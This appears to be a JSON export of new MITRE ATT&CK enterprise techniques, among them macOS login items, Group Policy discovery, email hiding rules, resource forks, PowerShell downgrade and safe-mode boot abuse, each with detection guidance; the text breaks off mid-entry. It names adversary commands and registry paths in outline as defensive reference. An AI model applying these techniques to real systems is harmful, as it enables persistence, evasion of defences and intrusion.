{ "enterprise-attack": { "techniques": { "additions": [ { "type": "attack-pattern", "id": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-10-05 21:26:15.081000+00:00", "modified": "2021-10-18 16:36:37.042000+00:00", "name": "Login Items", "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547/015", "external_id": "T1547.015" }, { "source_name": "Open Login Items Apple", "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.", "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac" }, { "source_name": "Adding Login Items", "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.", "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html" }, { "source_name": "SMLoginItemSetEnabled Schroeder 2013", "description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021.", "url": "https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/" }, { "source_name": "Launch Services Apple Developer", "description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021.", "url": "https://developer.apple.com/documentation/coreservices/launch_services" }, { "source_name": "ELC Running at startup", "description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.", "url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/" }, { "source_name": "Login Items AE", "description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.", "url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788" }, { "source_name": "Startup Items Eclectic", "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.", "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/" }, { "source_name": "hexed osx.dok analysis 2019", "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021.", "url": "http://www.hexed.in/2019/07/osxdok-analysis.html" }, { "source_name": "Add List Remove Login Items Apple Script", "description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.", "url": "https://gist.github.com/kaloprominat/6111584" }, { "source_name": "objsee mac malware 2017", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "url": "https://objective-see.com/blog/blog_0x25.html" }, { "source_name": "CheckPoint Dok", "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.", "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/" }, { "source_name": "objsee netwire backdoor 2019", "description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.", "url": "https://objective-see.com/blog/blog_0x44.html" }, { "source_name": "objsee block blocking login items", "description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.", "url": "https://objective-see.com/blog/blog_0x31.html" }, { "source_name": "sentinelone macos persist Jun 2019", "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.", "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" }, { "source_name": "Launch Service Keys Developer Apple", "description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.", "url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "File: File Modification", "File: File Creation" ], "x_mitre_detection": "All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\n\nOtherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\n\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "macOS" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-10-01 17:58:26.445000+00:00", "modified": "2021-10-07 18:19:25.352000+00:00", "name": "Cloud Storage Object Discovery", "description": "Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.\n\nCloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1619", "external_id": "T1619" }, { "source_name": "ListObjectsV2", "description": "Amazon - ListObjectsV2. Retrieved October 4, 2021.", "url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html" }, { "source_name": "List Blobs", "description": "Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.", "url": "https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Regina Elwell", "Isif Ibrahima" ], "x_mitre_data_sources": [ "Cloud Storage: Cloud Storage Enumeration", "Cloud Storage: Cloud Storage Access" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. \nMonitor cloud logs for API calls used for file or object enumeration for unusual activity. ", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "IaaS" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--cff94884-3b1c-4987-a70b-6d5643c621c3", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-05-11 18:51:16.343000+00:00", "modified": "2021-10-16 01:35:43.483000+00:00", "name": "Code Repositories", "description": "Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "collection" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1213/003", "external_id": "T1213.003" }, { "source_name": "Wired Uber Breach", "description": "Andy Greenberg. (2017, January 21). Hack Brief: Uber Paid Off Hackers to Hide a 57-Million User Data Breach. Retrieved May 14, 2021.", "url": "https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/" }, { "source_name": "Krebs Adobe", "description": "Brian Krebs. (2013, October 3). Adobe To Announce Source Code, Customer Data Breach. Retrieved May 17, 2021.", "url": "https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Itamar Mizrahi, Cymptom", "Toby Kohlenberg", "Josh Liburdi, @jshlbrd" ], "x_mitre_data_sources": [ "Logon Session: Logon Session Creation", "Application Log: Application Log Content" ], "x_mitre_detection": "Monitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "SaaS" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-08-06 13:10:12.916000+00:00", "modified": "2021-10-15 23:16:28.296000+00:00", "name": "Group Policy Discovery", "description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predicable network path \\\\SYSVOL\\\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as gpresult or various publicly available PowerShell functions, such as Get-DomainGPO and Get-DomainGPOLocalGroup, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1615", "external_id": "T1615" }, { "source_name": "TechNet Group Policy Basics", "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.", "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/" }, { "source_name": "ADSecurity GPO Persistence 2016", "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", "url": "https://adsecurity.org/?p=2716" }, { "source_name": "Microsoft gpresult", "description": "Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult" }, { "source_name": "Github PowerShell Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "url": "https://github.com/EmpireProject/Empire" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Ted Samuels, Rapid7", "Jonhnathan Ribeiro, 3CORESec, @_w0rk3r" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Active Directory: Active Directory Object Access", "Script: Script Execution", "Command: Command Execution", "Process: Process Creation" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor for suspicious use of gpresult. Monitor for the use of PowerShell functions such as Get-DomainGPO and Get-DomainGPOLocalGroup and processes spawning with command-line arguments containing GPOLocalGroup.\n\nMonitor for abnormal LDAP queries with filters for groupPolicyContainer and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-06-07 13:20:23.767000+00:00", "modified": "2021-10-16 01:24:31.674000+00:00", "name": "Email Hiding Rules", "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1564/008", "external_id": "T1564.008" }, { "source_name": "Microsoft Inbox Rules", "description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.", "url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59" }, { "source_name": "MacOS Email Rules", "description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.", "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac" }, { "source_name": "Microsoft New-InboxRule", "description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.", "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps" }, { "source_name": "Microsoft Set-InboxRule", "description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.", "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps" }, { "source_name": "Microsoft Cloud App Security", "description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.", "url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154" }, { "source_name": "Microsoft BEC Campaign", "description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.", "url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Dor Edry, Microsoft" ], "x_mitre_data_sources": [ "File: File Modification", "Command: Command Execution", "Application Log: Application Log Content" ], "x_mitre_detection": "Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\n\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Office 365", "Linux", "macOS" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-10-12 20:02:31.866000+00:00", "modified": "2021-10-16 01:50:40.276000+00:00", "name": "Resource Forking", "description": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1564/009", "external_id": "T1564.009" }, { "source_name": "macOS Hierarchical File System Overview", "description": "Tenon. (n.d.). Retrieved October 12, 2021.", "url": "http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553" }, { "source_name": "Resource and Data Forks", "description": "Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.", "url": "https://flylib.com/books/en/4.395.1.192/1/" }, { "source_name": "ELC Extended Attributes", "description": "Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.", "url": "https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/" }, { "source_name": "sentinellabs resource named fork 2020", "description": "Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.", "url": "https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/" }, { "source_name": "tau bundlore erika noerenberg 2020", "description": "Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.", "url": "https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jaron Bradley @jbradley89", "Ivan Sinyakov" ], "x_mitre_data_sources": [ "File: File Creation", "Process: Process Creation", "File: File Metadata", "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Notarization; Gatekeeper" ], "x_mitre_detection": "Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \n\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "macOS" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-10-08 14:06:28.212000+00:00", "modified": "2021-10-15 00:48:06.723000+00:00", "name": "Downgrade Attack", "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)\n\nAdversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/010", "external_id": "T1562.010" }, { "source_name": "CrowdStrike BGH Ransomware 2021", "description": "Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.", "url": "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/" }, { "source_name": "Mandiant BYOL 2018", "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 8, 2021.", "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique" }, { "source_name": "Praetorian TLS Downgrade Attack 2014", "description": "Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.", "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Process: Process Metadata", "Process: Process Creation" ], "x_mitre_detection": "Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell \u2013v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Linux", "macOS" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-06-23 20:00:27.600000+00:00", "modified": "2021-08-31 14:51:47.352000+00:00", "name": "Safe Mode Boot", "description": "Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/009", "external_id": "T1562.009" }, { "source_name": "Microsoft Safe Mode", "description": "Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021.", "url": "https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234" }, { "source_name": "Sophos Snatch Ransomware 2019", "description": "Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.", "url": "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/" }, { "source_name": "Microsoft bcdedit 2021", "description": "Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit" }, { "source_name": "CyberArk Labs Safe Mode 2016", "description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.", "url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise" }, { "source_name": "Cybereason Nocturnus MedusaLocker 2020", "description": "Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021.", "url": "https://www.cybereason.com/blog/medusalocker-ransomware" }, { "source_name": "BleepingComputer REvil 2021", "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021.", "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/" }, { "source_name": "Microsoft Bootcfg", "description": "Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021.", "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jorell Magtibay, National Australia Bank Limited", "Kiyohito Yamamoto, RedLark, NTT Communications", "Yusuke Kubo, RedLark, NTT Communications" ], "x_mitre_data_sources": [ "Process: Process Creation", "Windows Registry: Windows Registry Key Modification", "Windows Registry: Windows Registry Key Creation", "Command: Command Execution" ], "x_mitre_defense_bypassed": [ "Host Intrusion Prevention Systems", "Anti-virus" ], "x_mitre_detection": "Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\* in front of the \"Startup\" value name: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"] or by adding a key to HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\n\nMonitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0" }, { "type": "attack-pattern", "id": "attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-08-04 20:54:03.066000+00:00", "modified": "2021-10-14 21:09:59.588000+00:00", "name": "Double File Extension", "description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime 